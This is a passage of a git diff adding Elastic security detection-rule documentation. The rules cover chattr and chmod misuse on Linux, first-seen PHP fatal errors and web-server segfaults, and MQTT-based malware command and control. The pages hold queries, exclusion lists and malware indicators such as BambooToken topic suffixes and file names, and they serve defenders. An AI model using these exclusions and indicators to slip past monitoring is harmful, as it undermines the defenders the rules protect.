logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File made Immutable by Chattr* + + +The `chattr` command in Linux is used to change file attributes, including making files immutable, which prevents modifications or deletions. Adversaries exploit this to secure malicious files or altered system files against tampering, aiding persistence. The detection rule identifies suspicious use of `chattr` by monitoring process executions, filtering out benign parent processes, and focusing on those altering immutability attributes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the chattr command with arguments altering immutability, specifically looking for "+i" or "-i" in process.args. +- Identify the file(s) targeted by the chattr command to determine if they are critical system files or files commonly targeted by threat actors, such as .ssh or /etc/passwd. +- Investigate the parent process of the chattr execution by examining process.parent.executable and process.parent.name to determine if it is a known benign process or potentially malicious. +- Check the user context under which the chattr command was executed to assess if it aligns with expected administrative activity or if it indicates unauthorized access. +- Correlate the event with other security alerts or logs to identify any related suspicious activities, such as unauthorized access attempts or changes to other system files. +- Evaluate the risk and impact of the immutable file(s) on system operations and security posture, considering the potential for persistence or defense evasion by threat actors. + + +*False positive analysis* + + +- System processes like systemd and cf-agent may invoke chattr for legitimate reasons, such as system maintenance or configuration management. To handle these, exclude these processes by adding them to the exception list in the detection rule. +- Scheduled tasks or scripts that use chattr to manage file attributes for security or operational purposes can trigger false positives. Identify these tasks and exclude their parent processes from the rule. +- Administrative actions performed by authorized users, such as securing configuration files, might be flagged. Regularly review and update the list of known benign parent processes to prevent unnecessary alerts. +- Security tools or agents that modify file attributes as part of their protection mechanisms can cause false positives. Ensure these tools are recognized and excluded by their executable paths or parent process names. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Identify and terminate any malicious processes associated with the `chattr` command to stop further unauthorized file modifications. +- Restore the affected files from a known good backup, ensuring that any immutable attributes set by the attacker are removed. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Implement file integrity monitoring to detect unauthorized changes to critical system files, enhancing detection capabilities for similar threats. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Review and update security policies and configurations to prevent unauthorized use of the `chattr` command, such as restricting its execution to trusted administrators only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.parent.name != null and +process.name == "chattr" and process.args : ("-*i*", "+*i*") and +not ( + ?process.parent.executable: ( + "/lib/systemd/systemd", "/usr/local/uems_agent/bin/*", "/usr/lib/systemd/systemd", "/usr/local/emps/sbin/php-fpm", + "/usr/local/emps/bin/php" + ) or + process.parent.name in ( + "systemd", "cf-agent", "ntpdate", "xargs", "px", "preinst", "auth", "cf-agent", "dcservice", "dcagentupgrader", + "sudo", "ephemeral-disk-warning" + ) or + process.args like "/opt/ai-bolit/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-permission-modification-in-writable-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-permission-modification-in-writable-directory.asciidoc new file mode 100644 index 0000000000..6087786977 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-file-permission-modification-in-writable-directory.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-36-file-permission-modification-in-writable-directory]] +=== File Permission Modification in Writable Directory + +Identifies file permission modifications in common writable directories by a non-root user. Adversaries often drop files or payloads into a writable directory and change permissions prior to execution. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Permission Modification in Writable Directory* + + +In Linux environments, writable directories like /tmp or /var/tmp are often used for temporary file storage. Adversaries exploit these by modifying file permissions to execute malicious payloads. The detection rule identifies non-root users altering permissions in these directories using commands like chmod or chown, excluding benign processes, to flag potential threats. This helps in identifying unauthorized permission changes indicative of defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the non-root user who executed the permission modification command (chattr, chgrp, chmod, or chown) in the specified writable directories (/dev/shm, /tmp, or /var/tmp). +- Examine the parent process of the detected command to determine if it is associated with any known malicious activity or if it deviates from typical user behavior, ensuring it is not one of the excluded benign processes (apt-key, update-motd-updates-available, apt-get). +- Investigate the specific file or directory whose permissions were altered to assess its legitimacy and check for any associated suspicious files or payloads. +- Analyze recent activities by the identified user to detect any other anomalous behavior or unauthorized access attempts that could indicate a broader compromise. +- Cross-reference the event with other security logs and alerts to identify any correlated incidents or patterns that might suggest a coordinated attack or persistent threat. + + +*False positive analysis* + + +- System updates and maintenance scripts may trigger permission changes in writable directories. Exclude processes like apt-key, update-motd-updates-available, and apt-get to reduce noise from legitimate system activities. +- Development and testing environments often involve frequent permission changes by non-root users. Consider excluding specific user accounts or processes known to be part of regular development workflows. +- Automated backup or synchronization tools might modify file permissions as part of their operations. Identify and exclude these tools if they are verified to be non-threatening. +- Custom scripts or applications that require permission changes for functionality should be reviewed and, if deemed safe, added to an exception list to prevent false alerts. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert that are associated with unauthorized permission changes. +- Revert any unauthorized file permission changes in the writable directories to their original state to prevent execution of malicious payloads. +- Conduct a thorough scan of the affected directories (/dev/shm, /tmp, /var/tmp) for any malicious files or payloads and remove them. +- Review user accounts and permissions to ensure that only authorized users have access to modify file permissions in sensitive directories. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for file permission changes in writable directories to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:process and event.type:"start" and event.action:"exec" and +process.name:("chattr" or "chgrp" or "chmod") and process.working_directory:("/dev/shm" or "/tmp" or "/var/tmp") and +not ( + process.args:( + "+r" or "640" or /tmp/apt-key-gpghome* or "/usr/bin/coreutils" or "/opt/eset/eei/uninstall.sh" or /tmp/era.repository.*.bin + ) or + process.parent.args:"/var/illumio_pce/illumio/scripts/consul" or + process.parent.name:( + apt-key or update-motd-updates-available or apt-get or java or pilot or PassengerAgent or nginx + ) or + process.parent.executable:( + "/usr/local/bin/afb-ssh-setup-keys.sh" or "/usr/local/bin/afb-ssh-setup-keys.sh" or "/opt/puppetlabs/puppet/bin/ruby" or + "/usr/sbin/update-exim4.conf" or "/bin/dracut" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-php-fatal-error-on-a-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-php-fatal-error-on-a-web-server.asciidoc new file mode 100644 index 0000000000..6cc6132dc3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-php-fatal-error-on-a-web-server.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-36-first-occurrence-of-a-php-fatal-error-on-a-web-server]] +=== First Occurrence of a PHP Fatal Error on a Web Server + +This rule identifies the first PHP fatal error observed on a web server during the configured history window. PHP fatal errors are not inherently malicious, but a newly observed fatal condition can indicate exploitation of a previously unseen application or PHP engine failure. The rule is intentionally generic so it can identify both known and novel exploit attempts that terminate PHP request processing. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-apache.error-* +* logs-apache_tomcat.catalina-* +* logs-apache_tomcat.localhost-* +* logs-nginx.error-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Resources: Investigation Guide +* Rule Type: New Terms +* Service: Nginx +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Occurrence of a PHP Fatal Error on a Web Server* + + +This rule establishes first-seen state by `host.id`, so it alerts when a host with no matching event in the history window +produces a PHP fatal error. The alert does not establish malicious activity; it prioritizes a previously unseen condition +for investigation and can provide generic coverage for exploitation paths that intentionally trigger fatal PHP states. + + +*Possible investigation steps* + + +- Review the complete error text and identify the affected host, virtual host, PHP script, application, and PHP version. +- Examine `source.ip` when present. It represents the immediate requester seen by the web server and may be a proxy, + load balancer, CDN node, NAT gateway, or container bridge rather than the original external client. +- Correlate access logs for the same host and time with request methods, URLs, response codes, multipart bodies, session + activity, and unusual cookies. Determine whether many hosts or requests produced the same error. +- Review endpoint telemetry for web-server or PHP-worker crashes, unusual child processes, file writes, and outbound + connections after the fatal error. +- Compare the error with recent deployments, configuration changes, memory-limit changes, and application test activity. + + +*False positive analysis* + + +- Fatal errors commonly result from application bugs, missing dependencies, incompatible upgrades, and resource limits. + Validate the stack trace and deployment history before treating the alert as exploitation. +- Consider excluding tightly scoped, well-understood development hosts or known error strings rather than disabling the + rule across production PHP servers. + + +*Response and remediation* + + +- Patch or roll back the affected application or PHP runtime after preserving relevant logs and process telemetry. +- If the request or surrounding host behavior is suspicious, isolate the server, block the confirmed origin at the edge, + rotate exposed secrets, and scope similar errors across the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +agent.id:* and +event.dataset:( + "apache.error" or "nginx.error" or "apache_tomcat.catalina" or "apache_tomcat.localhost" +) and ( + message:(PHP and Fatal and error) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-web-server-segmentation-fault.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-web-server-segmentation-fault.asciidoc new file mode 100644 index 0000000000..a5436afd71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-occurrence-of-a-web-server-segmentation-fault.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-36-first-occurrence-of-a-web-server-segmentation-fault]] +=== First Occurrence of a Web Server Segmentation Fault + +This rule identifies the first segmentation fault, SIGSEGV, signal 11 termination, or Windows access-violation status observed in web-server error logs for a host during the configured history window. An unexpected web-server crash can indicate attempted exploitation of a memory-safety vulnerability, including attempts that fail before code execution, although software defects and resource problems can produce the same behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-apache.error-* +* logs-apache_tomcat.catalina-* +* logs-apache_tomcat.localhost-* +* logs-nginx.error-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Impact +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Resources: Investigation Guide +* Rule Type: New Terms +* Service: Nginx +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Occurrence of a Web Server Segmentation Fault* + + +A segmentation fault is a memory-access violation that terminates a process or worker. A first-seen crash in an +internet-facing service deserves prompt review because memory-corruption exploit attempts frequently terminate workers +even when exploitation fails. This alert does not prove exploitation or successful code execution. + + +*Possible investigation steps* + + +- Identify the affected `host.id`, process or worker identifier, signal or exception value, web-server module, and complete + error text. Determine whether one worker or the entire service terminated. +- Review requests immediately preceding the crash, including `source.ip`, URL, method, status, content type, body size, + cookies, and user agent. Recover the original client from trusted edge logs when a proxy or container bridge is present. +- Correlate the crash with fatal PHP errors, malformed multipart requests, repeated HTTP 500 responses, worker churn, and + known vulnerability signatures such as the PHP2Shell memory-exhaustion pattern. +- Review endpoint telemetry for a core dump, unexpected child processes, file writes, outbound connections, privilege + changes, or persistence after the crash. +- Determine whether a recent deployment, package upgrade, native extension, security test, or resource-pressure event can + explain the fault. Preserve a core dump and relevant binaries when available. + + +*False positive analysis* + + +- Native modules, language runtimes, drivers, and third-party extensions can contain non-security defects that crash a + web worker. Recurrent crashes with the same stack after an approved change may be operational rather than adversarial. +- Do not broadly exclude a host solely because it has a known stability issue; use a narrow exception for the understood + message, module, version, or maintenance window. + + +*Response and remediation* + + +- Remove a repeatedly crashing or potentially exploited server from public traffic and preserve volatile and on-disk + evidence before restarting or rebuilding it. +- Patch the web server, runtime, application, and native extensions. If exploitation cannot be ruled out, rebuild from a + trusted image and rotate credentials and secrets accessible to the service account. +- Block confirmed malicious origins at the edge and hunt for the same crash signature and follow-on behavior on peer hosts. + + +==== Rule query + + +[source, js] +---------------------------------- +agent.id:* and +event.dataset:("apache.error" or "nginx.error" or "apache_tomcat.catalina" or "apache_tomcat.localhost") and +message:( + segfault or SIGSEGV or (Segmentation and fault) or (signal and 11) or "0xc0000005" or "c0000005" or "3221225477" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Application or System Exploitation +** ID: T1499.004 +** Reference URL: https://attack.mitre.org/techniques/T1499/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-seen-external-mqtt-broker-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-seen-external-mqtt-broker-connection.asciidoc new file mode 100644 index 0000000000..04e97afdb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-seen-external-mqtt-broker-connection.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-36-first-seen-external-mqtt-broker-connection]] +=== First Seen External MQTT Broker Connection + +Identifies the first MQTT relationship from an internal source to an external broker that was not observed during the previous 14 days. This includes protocol-decoded MQTT and direct AWS IoT Core MQTT identified from TLS ClientHello metadata without decryption. MQTT is commonly used by IoT and messaging applications, but malware including BambooToken, IOCONTROL, MQsTTang, and WailingCrab has used publish/subscribe traffic for command and control. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.tls-* +* logs-panw.panos* +* logs-suricata.eve-* +* logs-zeek.connection-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.lumen.com/blog/en-us/the-banana-stand-brokering-and-managing-infections-across-asia-using-mqtt +* https://hackerhermanos.com/posts/aws-iot-mqtt-red-teamer/ +* https://docs.aws.amazon.com/iot/latest/developerguide/protocols.html +* https://docs.suricata.io/en/latest/output/eve/eve-json-format.html#event-type-mqtt +* https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html +* https://www.elastic.co/docs/reference/integrations/suricata +* https://docs.zeek.org/en/current/scripts/base/protocols/mqtt/main.zeek.html +* https://www.elastic.co/docs/reference/integrations/zeek +* https://www.elastic.co/docs/reference/integrations/panw + +*Tags*: + +* Domain: Network +* Domain: OT/IoT +* Platform: AWS +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: PAN-OS Logs +* Data Source: Network Traffic +* Data Source: Network Packet Capture +* Data Source: Suricata Logs +* Data Source: Zeek +* Service: AWS IoT +* Rule Type: New Terms +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Seen External MQTT Broker Connection* + + +MQTT uses a broker to relay messages between publishers and subscribers. This architecture is useful for legitimate IoT +and application messaging, but it also allows malware to receive commands and return results without connecting directly +to an operator. This rule surfaces the first protocol-decoded or application-identified MQTT relationship between an +internal source and an external destination within the 14-day new-terms history window. + +The alert does not prove malicious command and control. Suricata and Zeek require plaintext MQTT or traffic decrypted +before inspection. PAN-OS coverage depends on App-ID identifying the traffic as `mqtt-base`. The Network Packet Capture +path recognizes direct AWS IoT Core MQTT inside TLS without decryption by using the client-offered ALPN +`x-amzn-mqtt-ca` on TCP/443 or a default account-specific AWS IoT ATS SNI on TCP/8883. It does not expose MQTT client +IDs, topics, commands, results, or file content. + + +*Possible investigation steps* + + +- Identify the asset, owner, operating system, and expected role of `source.ip`. MQTT from servers, workstations, routers, + firewalls, build systems, and other assets that are not approved MQTT clients warrants additional scrutiny. +- Determine whether `destination.ip` belongs to an approved private or public MQTT broker. Review destination reputation, + ASN, geolocation, passive DNS, and other internal clients communicating with it. +- For Network Packet Capture TLS events, preserve `tls.client.server_name` exactly. On TCP/443, verify that + `tls.detailed.client_hello.extensions.application_layer_protocol_negotiation` contains `x-amzn-mqtt-ca`. On TCP/8883, + confirm that the SNI matches `-ats.iot..amazonaws.com`. Determine whether the source + asset and complete endpoint are approved for AWS IoT use. +- For Suricata events, inspect `suricata.eve.mqtt` for CONNECT client IDs, credentials, subscribed topics, published + topics, payloads, keepalive values, and broker response codes. Review equivalent protocol details in the originating + network sensor when available. +- Look for GUID- or UUID-scoped topics and BambooToken-associated suffixes such as `/Plugin`, `/removePlugin`, + `/unPlugin`, and `/LUA`. A `Global` publication containing `online` or `offline` status and a `gid` increases confidence. +- Review the connection duration, reconnect cadence, bytes transferred, and additional ports contacted on the + destination. BambooToken infrastructure has included TCP ports 1883, 2883, and 8883. +- Correlate with endpoint telemetry for unexpected MQTT-capable processes, DLL side-loading, shell execution, discovery, + file transfer, or persistence. For BambooToken, investigate `OnKeySrv.exe`, `OnKeyToken_KEB.dll`, and nearby + `OnKeySrv.dat` or `OnKeySvr.dat` files. + + +*False positive analysis* + + +- Confirm newly deployed or intermittently active IoT, telemetry, messaging, and monitoring applications with the asset + owner. +- Validate broker migrations, AWS IoT device onboarding, disaster-recovery tests, development environments, and + vendor-managed services. +- Scope exceptions to an approved source asset and broker pair where possible. Avoid excluding all MQTT traffic or an + entire public broker globally. + + +*Response and remediation* + + +- Isolate the source if the process, topic structure, payload, or destination indicates command and control. +- Block unauthorized broker access and preserve MQTT transactions, flow metadata, DNS history, and endpoint process + evidence. +- Remove confirmed malware and persistence, rotate credentials available to the affected system, and search for the same + client ID, topic hierarchy, destination, and artifacts across the environment. +- Establish an inventory of approved MQTT clients, brokers, ports, and topic prefixes, and restrict outbound MQTT where + operationally feasible. + + +==== Setup + + + +*Setup* + + +This rule requires one or more of the following integrations: + +- Network Packet Capture with TLS parsing on TCP ports 443 and 8883 and `include_detailed_fields: true`. +- Suricata with the MQTT application-layer parser and MQTT EVE output enabled. +- Zeek connection logs with the MQTT analyzer enabled so `network.protocol` is populated with `mqtt`. +- PAN-OS traffic logs with App-ID enabled and MQTT identified as `mqtt-base`. + +Place network sensors where they observe client-to-broker traffic before source NAT so internal client addresses remain +visible. Suricata and Zeek must observe plaintext MQTT or receive decrypted traffic. PAN-OS must identify the session with +the MQTT App-ID; without decryption, generic MQTT over TLS may only be identified as SSL. + +The Network Packet Capture AWS IoT path does not require TLS decryption. It requires SNI in `tls.client.server_name` and, +for TCP/443, client-offered ALPN in +`tls.detailed.client_hello.extensions.application_layer_protocol_negotiation`. Encrypted ClientHello can hide SNI, and +custom AWS IoT domains on TCP/8883 do not match the default ATS hostname pattern. + + +==== Rule query + + +[source, js] +---------------------------------- +( + data_stream.dataset:suricata.eve and + suricata.eve.event_type:mqtt and + network.protocol:mqtt or + data_stream.dataset:zeek.connection and + network.protocol:mqtt or + data_stream.dataset:panw.panos and + network.application:mqtt-base or + data_stream.dataset:network_traffic.tls and + tls.established:true and + tls.client.server_name:* and + ( + destination.port:443 and + tls.detailed.client_hello.extensions.application_layer_protocol_negotiation:"x-amzn-mqtt-ca" or + destination.port:8883 and + tls.client.server_name:( + *-ats.iot.*.amazonaws.com or + *-ats.iot.*.amazonaws.com. or + *-ats.iot.*.amazonaws.com.cn or + *-ats.iot.*.amazonaws.com.cn. + ) + ) +) and + network.transport:tcp and + source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or "FC00::/7") and + destination.ip:( + * and not ( + 10.0.0.0/8 or 100.64.0.0/10 or 127.0.0.0/8 or 169.254.0.0/16 or 172.16.0.0/12 or + 192.0.0.0/24 or 192.0.0.0/29 or 192.0.0.10/32 or 192.0.0.170/32 or 192.0.0.171/32 or + 192.0.0.8/32 or 192.0.0.9/32 or 192.0.2.0/24 or 192.168.0.0/16 or 192.175.48.0/24 or + 192.31.196.0/24 or 192.52.193.0/24 or 192.88.99.0/24 or 198.18.0.0/15 or + 198.51.100.0/24 or 203.0.113.0/24 or 224.0.0.0/4 or 240.0.0.0/4 or "::1" or + "FC00::/7" or "FE80::/10" or "FF00::/8" + ) + ) and + not ( + data_stream.dataset:panw.panos and ( + event.action:(flow_denied or flow_dropped) or + network.application:(incomplete or insufficient-data or not-applicable) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Publish/Subscribe Protocols +** ID: T1071.005 +** Reference URL: https://attack.mitre.org/techniques/T1071/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-gcp-vertex-ai-agent-engine-sandbox-code-execution-by-user-and-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-first-time-gcp-vertex-ai-agent-engine-sandbox-code-execution-by-user-and-source-asn.asciidoc new file mode 100644 index 0000000000..e016d53585 --- /dev/null +++ 